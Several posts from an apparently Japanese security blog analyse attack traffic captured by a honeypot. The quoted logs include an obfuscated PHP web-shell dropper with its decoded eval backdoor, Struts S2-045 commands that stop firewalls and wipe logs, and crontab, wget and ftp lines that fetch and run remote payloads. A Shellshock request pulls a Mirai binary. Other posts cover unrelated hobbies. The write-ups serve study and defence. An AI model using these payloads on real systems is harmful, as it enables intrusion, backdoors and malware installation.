Hello, Peppa!のアクセスログ

Hello, Peppa!

Hello, Peppa!という謎のアクセス - とりあえずブログ

「Hello, Peppa!」というこの気になるアクセス、私の運用しているWOWHoneypotにも来ていました。いくつかパターンがあったので、ログを抜き出してご紹介します。

ログその1

POST /cmx.php HTTP/1.1
Host:  xxx.xxx.xxx.xxx
User-Agent: Go-http-client/1.1
Content-Length: 5433
Accept: */*
Content-Type: multipart/form-data; boundary=------------------------c7145c544564e14d

--------------------------c7145c544564e14d
Content-Disposition: form-data; name="_upl"

Upload
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="h"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="w"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="leng"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="a"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="b"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="c"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="abc"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="0"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="cmd"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="php"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="1"
if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="bbs"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="m"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="js"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="2"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="3"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="!@#"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="ae"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="axa"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="aaaa"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="x"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="xx"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="eval"

if (copy($_FILES[fileupload][tmp_name],$_FILES[fileupload][name])) echo OK; die();
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="file"; filename="E:\\PHPnow\\htdocs\\images.php"
Content-Type: application/octet-stream

<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa!
--------------------------c7145c544564e14d
Content-Disposition: form-data; name="fileupload"; filename="E:\\PHPnow\\htdocs\\images.php"
Content-Type: application/octet-stream

<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?>Hello, Peppa!
--------------------------c7145c544564e14d--

multipart/form-data はファイルアップロードなどに使われるデータ形式ですね。cmx.php はWebShellとして使用されるファイル名のようです。(参考 : ハニーポット観察記録(36)「phpMyAdminの設定不備を狙ったWebShell作成の試み」 at www.morihi-soc.net

Base64エンコードされている部分のデコード結果は、以下のようになっていました。

session_start();
if(isset($_POST['code'])){
(substr(sha1(md5($_POST['a'])),36)=='222f') && $_SESSION['theCode']=trim($_POST['code']);
}
if(isset($_SESSION['theCode'])){
eval(base64_decode($_SESSION['theCode']));

処理自体に何か意味があるというよりは、これが実行できるかどうか、で脆弱性の有無を選り分けている感じでしょうか。

ログその2

POST /images.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept: */*
Content-Length: 956
Content-Type: application/x-www-form-urlencoded

a=just+for+fun&code=aWYgKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewoJJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwoJJHVpZCA9IEBnZXRteXVpZCgpOwoJJGdpZCA9IEBnZXRteWdpZCgpOwoJJGdyb3VwID0gIj8iOwp9CmVsc2UKewoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQHBvc2l4X2dldGVnaWQoKSk7CgkkdWlkID0gJHVpZFsndWlkJ107CgkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCSRnaWQgPSAkZ2lkWydnaWQnXTsKCSRncm91cCA9ICRnaWRbJ25hbWUnXTsKfQplY2hvICJIZWxsbywgUGVwcGEhfCIgLiBwaHBfdW5hbWUoKSAuIiArICIuICdVc2VyOicuJHVpZC4nKCcuJHVzZXIuJykvR3JvdXA6Jy4kZ2lkLicoJy4kZ3JvdXAuJyknIC4iICsgIi4kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10gLiIgKyAiLiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4iICsgIi4gJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddIC4gInwiOwokc2VsZiA9IHN1YnN0cigkX1NFUlZFUlsnUEhQX1NFTEYnXSxzdHJycG9zKCRfU0VSVkVSWydQSFBfU0VMRiddLCcvJykrMSk7CiR0aW1lID0gQHN0cnRvdGltZSgiMjAxNS0wNy0xNiAxNzozMjozMiIpOwplY2hvIChAdG91Y2goJHNlbGYsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpOw%3D%3D

a=just+for+fun って本当にそうなのでしょうか……。その1と同様に、codeパラメータ以下をBase64デコードしてみると、以下のような結果となりました。

if (!function_exists('posix_getegid'))
{
    $user = @get_current_user();
    $uid = @getmyuid();
    $gid = @getmygid();
    $group = "?";
}
else
{
    $uid = @posix_getpwuid(@posix_geteuid());
    $gid = @posix_getgrgid(@posix_getegid());
    $uid = $uid['uid'];
    $user = $uid['name'];
    $gid = $gid['gid'];
    $group = $gid['name'];
}
echo "Hello, Peppa!|" . php_uname() ." + ". 'User:'.$uid.'('.$user.')/Group:'.$gid.'('.$group.')' ." + ".$_SERVER['SERVER_SOFTWARE'] ." + ". $_SERVER['DOCUMENT_ROOT'] ." + ". $_SERVER['SCRIPT_FILENAME'] . "|";
$self = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
$time = @strtotime("2015-07-16 17:32:32");
��ho (@touch($self,$time,$time) ? 'success' : 'failed');

最後の行はなぜか文字化けしてしまいましたが、おそらく「echo」ですね。サーバの情報をいろいろと出力させようとしている感じ。

ログその3

GET /cmx.php?cmd=echo+%5E%3C%3Fphp+%24func%3D%27c%27.%27r%27.%27e%27.%27a%27.%27t%27.%27e%27.%27_%27.%27f%27.%27u%27.%27n%27.%27c%27.%27t%27.%27i%27.%27o%27.%27n%27%3B%24test%3D%24func%28%27%24x%27%2C%27e%27.%27v%27.%27a%27.%27l%27.%27%28b%27.%27a%27.%27s%27.%27e%27.%276%27.%274%27.%27_%27.%27d%27.%27e%27.%27c%27.%27o%27.%27d%27.%27e%28%24x%29%29%3B%27%29%3B%24test%28%27c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9%27%29%3B+%3F%5E%3E+%3Eimages.php+%26+echo+Hello%2C+Peppa%21 HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Go-http-client/1.1
Accept: */*

URLデコードすると以下のようになります。

echo ^<?php $func='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';$test=$func('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');$test('c2Vzc2lvbl9zdGFydCgpOwppZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpewooc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicpICYmICRfU0VTU0lPTlsndGhlQ29kZSddPXRyaW0oJF9QT1NUWydjb2RlJ10pOwp9CmlmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSl7CmV2YWwoYmFzZTY0X2RlY29kZSgkX1NFU1NJT05bJ3RoZUNvZGUnXSkpOwp9'); ?^> >images.php & echo Hello, Peppa!

$testの中の文字列は、ログその1のものと同じです。

ログその4

POST /db_session.init.php HTTP/1.1
Host: xxx.xxx.xxx.xxx:80
User-Agent: Mozilla/5.0
Connection: Close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

eval=die('Hello, Peppa!'.(string)(111111111*9));

こちらも処理自体にはそれほど意味はない気がしますね。

Hello, Peppa!、WOWHoneypotのログを見たところ、5月4日くらいから観測されているのですが、ネット上にはあまり情報が見られないです。検索してヒットする情報も、2018年の5月〜6月のものなので、何か新しいスキャナなのでしょうか……。引き続きログの観察と情報の収集を行っていきたいと思います。

参考

はてなブログに移行しました

はてなブログ移行

k-anz.netをたたんで、はてなブログに移行しました。

経緯

実はこの証明書期限切れをやらかすのが二度目だったのです……。二度あることは三度ある気がしたし、三度目を防ぐための運用作業に時間を割く気もしなかったので(大した作業ではないのですが……)、はてなブログに移行することを決めました。

これに尽きます。

あと「セキュリティをネタにしたブログなのに、忙しさにかまけて、セキュリティ対策が疎かになってきた」のも理由のひとつです。証明書は切らすし、Wordpressのバージョン更新は滞りがちになるし。それが続くくらいだったら、外部サービスに載っけて安心したほうがいいかなあ、と思ったのでした。

ただ、k-anz.netの運用を通じて、いままでにしたことのない作業を経験できたのは良かったと思います。具体的には、Let's encryptでサイトをHTTPS化したり、ドメイン取ってCloud DNSにレコード登録したり、nginxを初めて使って運用したりとか。とくに私は、普段のお仕事ではサービスの運用作業をあまりしないので、サービスを公開するために必要な作業を一通り経験しておくことができたのは良かったです。

これから

ちょっと最近忙しくて更新が滞りがちだったのですが、そろそろ落ち着いたので、またネタを見つけて書き物をしていきたいと思います!

技術書典4に一般参加してきました

技術書典4に行きました

技術書典4に一般参加してきました。 スタッフの方、サークル参加の方、そして同じく一般で参加した方々、みなさまお疲れ様でした!

当日

コミケ参加経験があるせいで、少々技術書典を舐めてかかっていたところがありました。(笑) 次回の技術書典に参加される方の参考……になるかはよくわからないですが、私の当日の動きはこんな感じでした。

時間 やっていたこと
9:30 起床
10:00 諸々の家事を片づける
11:00 自宅で会場の行列の写真を見て、あまりの人の多さに会場へ行く気力を無くしかける
12:00 なんとか会場に向かう決心をする
13:00 秋葉原UDX着、整理券をもらう
会社の元同僚と合流してランチ
13:45 整理券の順番が来たので会場入り
「完売」の看板が多くなってきてはいたがそれなりに楽しむ
14:30 人混みに疲れたので会場を離れる
会場を出たところでまた別の知り合いに会ったので、お茶する
15:30 秋葉原を離れる

反省点はただ一つ、「開場時間に間に合うように行けばよかった」ですね。昼過ぎからでいいや、の精神だと、欲しいものが売り切れになる可能性は高いです。。だいたい、昼過ぎになってもたいして混雑は緩和されないので、早くに行っても遅くに行ってもさして変わらないと思います。それだったら早めに行って早めに切り上げた方が良い気もします。

しかし、こうして振り返ると、なんだか人と会ってはランチしたりお茶したりしていただけな感じがしますね……。まあ、普段なかなか会えない方とも会えたので、これはこれでよしとします。

買ったもの

肝心の買ったものです。実は電子版データを1冊しか買っていません……

  • AllSafe 「ANALYZING MR.ROBOT」

サークルの方が「Amazonプライムビデオで配信しているMR.ROBOTという海外ドラマの解説本なんd……」と本の説明をしかけたところを遮って、かなり食い気味に「全部見ました!!!シーズン3まで!!!!!」と返して、重い愛を披露してしまいました、すみません。。。

サークル名が「AllSafe」だったり、配信カードの「電子版」表記が中国語の簡体字になっていたり(ダークアーミーをイメージしたとのこと!)と、細かなところにもいろいろとこだわりを感じました。素敵です。

内容も少しずつ読み進めているのですが、「こんなに細かいところまで考察を……」という感じですごく興味深いです。内容も厚く、この充実ぶりなのにこのお値段で良いのかしら、と心配になってしまいました。気持ちとしては2〜3倍くらい払いたい。最後まで楽しんで読みたいと思います。

次回

技術書で会った元同僚たちと意気投合しまして、「次回はサークル側で参加しよう!!!」という話になりました。(笑) 何もかもが未定ですが、もし本当にサークル参加が実現したらスペースまで遊びに来てください。出展する際は、またこちらでも告知します。実現したらね……

ハニーポットでよく見るユーザーエージェントについて調べた

よく見かけるユーザーエージェントについて調べてみた

今回は少し趣向を変えて…… ハニーポットのログでよく見かけるユーザーエージェントについて調べてみました。

ZmEu

項目名 内容
UserAgent ZmEu
パス /phpmyadmin/scripts/setup.php, /pma/scripts/setup.php など

最初に残していく /w00tw00t.at.blackhats.romanian.anti-sec:) のログが特徴的な脆弱性スキャナです。Webサイト等を運営している方であれば、ログにこの文字列があるのを見たことがある方も多いのではないでしょうか? アクセス先はphpmyadminのセットアップスクリプトのほか、SSHパスワードのブルートフォースアタックも行っているとの情報もあります。英語版 Wikipedia にはページがあるくらいなので、おそらく有名なスキャナなのでしょうね。

https://en.wikipedia.org/wiki/ZmEu_(vulnerability_scanner)

ルーマニア生まれのツールで、ユーザーエージェントにもある「ZmEu」という名前は、ルーマニアの民話に出てくるドラゴンに似た生き物を表しているそうです。

Jorgee

項目名 内容
UserAgent  Mozilla/5.0 Jorgee
パス /phpmyadmin2017, /phpmyadmin2018, /phpmanager など

こちらもphpmyadmin脆弱性を探っているようです。

NYU

項目名 内容
UserAgent NYU
パス /RPC2, /cgi-bin/php?-d+allow_url_include=on..., /invoker/JMXInvokerServlet

けっこう多様なパスにたいしてアクセスしてきている感じですね。/cgi-bin/php?-d+allow_url_include=on...は、2月の観察日記 で紹介したApache Magicaでしょうか。

muhstik-scan

項目名 内容
UserAgent  Mozilla/5.0 muhstik-scan, muhstik/1.0
URL  https://github.com/phukd/muhstik
言語 C
パス /mysql/admin, /mysql/dbadmin, /phpmyadmin, /program, /webdav, /admin/sysadmin/

データベース系を中心に、あり得そうなパスに向けて一斉にアクセスをして、探りをかけてきています。

Indy-Library

項目名 内容
UserAgent  Mozilla/3.0 (compatible; Indy Library)
パス /, /manager/html

2月の観察日記 で挙げた「Tomcatのアプリケーションマネージャを狙ったブルートフォース攻撃」を行ってきたのがこのUAです。以降わりと頻繁にアクセスしてきているようです。

zgrab

項目名 内容
UserAgent Mozilla/5.0 zgrab/0.x
URL https://github.com/zmap/zgrab
言語 Go
パス /

zmapというスキャナとともに動作する、アプリケーションレイヤのスキャナーのようです。

masscan

項目名 内容
UserAgent masscan/1.0 (https://github.com/robertdavidgraham/masscan)
URL https://github.com/robertdavidgraham/masscan
言語 C
パス /

速さに定評があるTCPポートスキャナ

It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second.

6分で全体スキャン、すごい速さです。

sysscan

項目名 内容
UserAgent sysscan/1.0 (https://github.com/robertdavidgraham/sysscan)
URL https://github.com/robertdavidgraham/sysscan
言語 C?
主に観測されたログ /

githubのリンクはリンク切れとなっていました。sysscanの後継がmasscanということなのかもしれないです。

まとめ

アプリケーションの脆弱性を狙ったもの、ポートスキャンを目的としたものなど、様々なユーザーエージェントからのアクセスを受けていることが改めてわかりました。また、一部のユーザーエージェントごとに一定の特徴が見られそうですね。(データベース系の脆弱性を中心にアクセスしているなど) ユーザーエージェント毎の集計等も、今後は取っていきたいと思いました!

ハニーポット観察日記 (2018年1月分)

遅くなりましたが

ハニーポット観察日記、2018年1月分です。

D-LINK DIR-610 ルータの脆弱性を狙った攻撃

POST /command.php HTTP/1.1
Accept: */*
Host: xxx.xxx.xxx.xxx
Content-Type: application/x-www-form-urlencoded
User-Agent: Wget(linux)
Content-Length: 208

cmd=%63%64%20%2F%76%61%72%2F%74%6D%70%20%26%26%20%65%63%68%6F%20%2D%6E%65%20%5C%5C%78%45%30%5C%5C%78%31%34%5C%5C%78%30%30%5C%5C%78%30%30%5C%5C%78%30%30%20%3E%3E%20%64%72%6F%70%20%26%26%20%65%63%68%6F%20%4F%4B

cmd=$cmd の形式のパラメータを受け付けているページ command.php があり、ここでコマンドを指定すると認証等を介さずOSコマンドを実行できてしまう、ということだそうです。どうしてこんな脆弱性が出来てしまったのでしょうね……

cmdのところをURLデコードするとこんな感じになります。

cd /var/tmp && echo -ne \\x3610cker > 610cker.txt && cat 610cker.txt

/var/tmp 配下で、610cker.txt という名前のテキストファイルを作成し、最後にテキストファイルの内容を出力しています。このコマンド自体にはさほど意味はなさそうで、どちらかというとこのコマンドによって、脆弱性の有るサーバーを選り分けている感じですね。

610cker.txt という名前はターゲットとしているルーターの型番を示しているという話もあるようです。以下サイトの解説が詳しいです。

参考 : Observing Large-Scale Router Exploit Attempts | ProtectWise™

Apache Magica (CVE-2012-1823) 攻撃

魔法少女アパッチ☆マギカ攻撃の愛称(?)で親しまれている、PHP脆弱性を狙った攻撃を、私のハニーポットでも観測することができました。 PHPer としてもこれは見逃すわけにはいきません!

POST /cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=%22%22+-d+max_execution_time=0+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-n HTTP/1.1
Host: localhost
Accept: */*
User-agent: NYU
Content-Length: 256
Content-Type: application/x-www-form-urlencoded

<?php system("crontab -r; wget -V&&echo \"1 * * * * wget -q -O - http://internetresearch.is/robots.txt?php 2>/dev/null|bash;\"|crontab -;wget -V||curl -V|echo \"1 * * * * curl -s http://internetresearch.is/robots.txt?php 2>/dev/null|bash;\"|crontab -"); ?>*

脆弱性の詳細については、徳丸浩さんのブログで詳しく書かれているので、そちらをご参照ください。 CGI版PHPに対する魔法少女アパッチマギカ攻撃を観測しました | 徳丸浩の日記

毎時1分にファイルをダウンロードして実行しているようです。こういうログを見るとPHPのバージョンアップとか、堅牢なコーディングとか、ちゃんとやらなくてはなーと心から思いますね……。

Tomcatのアプリケーションマネージャを狙ったブルートフォース攻撃

GET /manager/html HTTP/1.1
Content-Type: text/html
Host: xxx.xxx.xxx.xxx
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)
Authorization: Basic YWRtaW46dG9tY2F0

Basic認証の部分は

など、ありふれたIDとパスワードが連続してアクセスされていました。こういうログを見るとIDとパスワードとか、ちゃんと設定しなくてはなーと心から思いますね……

おわりに

というわけで2回目のハニーポット観察日記でした。次回は少し趣向を変えて、ツールに着目してログを観察してみようかな〜と思っています。ではまた!

技術系中国語の勉強

今日はちょっと変わり種で語学系の投稿です。ハニーポットに中国からのアクセスがあり、それについて調べているうちに関係する中国語をいくつか覚えたので、備忘録代わりに単語をメモしておきます。

軟件

software

手机

携帯電話

技术

技術

漏洞

抜け穴。セキュリティホールのことも、この言葉で表現されているよう

ex. Struts2漏洞 : Struts2脆弱性

黑客

hacker

発音が「heī kè」で hacker に近いからこの字になっているという話

cf. 黑客工具 : hacker tools

解压

圧縮されたファイルを展開すること

密码

暗号, パスワード

ex. 解压密码 : 圧縮ファイルの展開用のパスワード

远程

リモートコマンド

侏儒

見識のない人をあざけっていう語

すみません、これだけはMR.ROBOTネタです……(毎度MR.ROBOTの話ばかり挟んですみません、大好きなんです)。

ダーリーンがダークアーミーと連絡を取ろうと試みているときに、チャット内でダーリーンの発言は「侏儒」の発言として表示されていました。「ゲストユーザー」を貶めた言い方、というところなのですかね。


中国語サイト、ざっと雑に漢字を読むだけでも、なんとなく意味を拾えるものがあったりして面白いです。

Struts2远程命令执行漏洞分析及防范」 は、 「Struts2 のリモートコマンド実行の脆弱性の分析、および対処法について」というところでしょうか。「Struts2漏洞利用工具 解压密码」というのも見つけましたが……、これはあまり深入りしないほうが良さそうですかね。

中国語文法や発音については、学んだことがないのでよくわからないのですが、こうしてサイトを見ているともっと勉強したくなりますね。時間を見つけてNHK中国語講座でも見ようかしら……。最近、なんだか興味が多方面に広がっていてはてしないです。苦笑

ハニーポット観察日記 (2017年12月分)

新年のご挨拶

明けましておめでとうございます! 平成30年も k-anz.net をよろしくお願いします!

さて、さっそく前回の宣言通り、ハニーポットの観察記録を書きたいと思います。一旦、前月分(2017年12月分)のログを対象に、気になったものや、数の多かったものをピックアップしてコメントしていきます。

Apache Struts 2 の脆弱性 (S2-045) を狙った攻撃

遠隔の攻撃者が、細工した HTTP リクエストを送信することで、Apache Struts 2 を使用するアプリケーション (Strutsアプリケーション) を実行しているサーバにおいて、任意のコードを実行する可能性があります。

Apache Struts 2 の脆弱性 (S2-045) に関する注意喚起 (JPCERTの記事にジャンプします)

もっとも多かったのがこの脆弱性を狙った攻撃でした。Content-TypeヘッダにOGNL式を含むコードが指定されており、脆弱性を持つ Struts2 アプリケーションの場合、記載されたコマンドが実行可能となってしまいます。実行を試みられていたコマンドにいくつかパターンがあったのでご紹介します。以下、コマンドのみを抜粋して記載します。

その1

whoami
service iptables stop
/etc/init.d/iptables stop
mv /bin/netstat /bin/tstat
mv /usr/bin/wget /usr/bin/scet
mv /usr/bin/scp /usr/bin/lcp
mv /usr/bin/curl /usr/bin/cuy
echo > /var/log/wtmp
echo >/var/log/wtmp
echo > ./.bash_history
history -c

同一IPから連続したアクセスがあり、(1) whoami (2) service ipdtables stop ... という形で順に攻撃が来ていました。こういうのって、はじめに whoami で攻撃可能なプログラムかどうかを判断し、そのあとから実作業に入っているのですかね……?

ファイアウォールを止めて、mv ~ 以降は各種コマンドの書き換えをしているのでしょうか。最後は、一時ファイルや履歴などの痕跡をクリアしてさようなら、ですね。

その2

/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://xxx.xxx.xxx.xxx:20081/inten;chmod 777 inten;./inten;

ファイアウォールを止めたあとにファイルをダウンロードし、実行権限つけて実行、という流れですね。ダウンロードを試みられていたファイルがどのようなものかは確認が取れませんでした……。

その3

cmd /c @echo open h.c.ac.cn>>COOKECOOKE.dat&@echo 123>>COOKECOOKE.dat&@echo 123>>COOKECOOKE.dat&echo bin>>COOKECOOKE.dat&@echo get 7ua.exe>>COOKECOOKE.dat&@echo bye>>COOKECOOKE.dat&@echo 7ua.exe>>COOKECOOKE.dat&@ftp -s:COOKECOOKE.dat&del COOKECOOKE.dat&7ua.exe&7ua.exe

こちらは Windows 向けのコマンドのようですね。やろうとしていることは、その2のログとそれほど変わらないようで、ファイルをダウンロードして実行、最後に使用したファイルを削除、という感じでしょうか。

ShellShock を狙った攻撃

GET / HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: () { :; }; /bin/sh -c 'wget http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin -O /dev/null;wget1 http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin -O /dev/null;curl http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin -o /dev/null;/usr/sfwbin/wget http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin;fetch -/dev/null http://easavi.gq/wp-admin?infect-cctv=mirai-botnet.bin'
Connection: close

bashに存在する脆弱性 「Shellshock」 | トレンドマイクロ セキュリティブログ

User-Agent にコードを仕込む形は、典型的な ShellShock を狙った攻撃のようですね。wget, curlなど手段を変えながら、特定のサイトへアクセスを試行しています。

「infect-cctv=mirai-botnet.bin」というクエリパラメータが気になります。「Miraiボットネット」というのは、2016年秋頃に話題になった、IoTデバイスを踏み台としたDDoS攻撃を行うボットネットだそうなのですが、このアクセスもそれに関連したものなのでしょうか……

時候の挨拶?

PATCH /your-software/and-have-a-great-2018/from-the-folks-at-34c3 HTTP/1.0
User-Agent: #34c3
Accept: */*

"Have a great 2018 from the folks at 34c3"

「良いお年を」のご挨拶でしょうか。ご丁寧にどうも……という感じですね。

34c3 というのは、「34th Chaos Communication Congress」のこと。「Chaos Communication Congress」とは、「Chaos Computer Club」というハッカー集団のコンペティションだそうです。要出典のマークだらけですが、カオス・コンピュータ・クラブの Wikipedia 記事の内容はなかなかすごいですね。

CCCが世界的に有名になったきっかけは、彼らがある銀行[どこ?]のコンピュータネットワークに侵入し、オンラインアカウントのID・パスワードを取得、見事現金を得るのに成功するという事件だった[いつ?]。その事件の翌日、彼らは得た金を銀行に返却した。

カオス・コンピュータ・クラブ - Wikipedia

まるでMR.ROBOTの5/9攻撃みたいじゃないですか……! どちらかといえば CCC の事件のほうが先なのでしょうけど。

おわりに

というわけではじめてのハニーポット観察日記でした。「セキュリティに留意したコードを書く」といったことは、開発の仕事でも意識しているところではあるのですが、こうして実際のログを観察してみると、より一層気持ちが引き締まりますね。

また月次くらいのペースで、新しく紹介記事を書けたらと思っています。ではでは。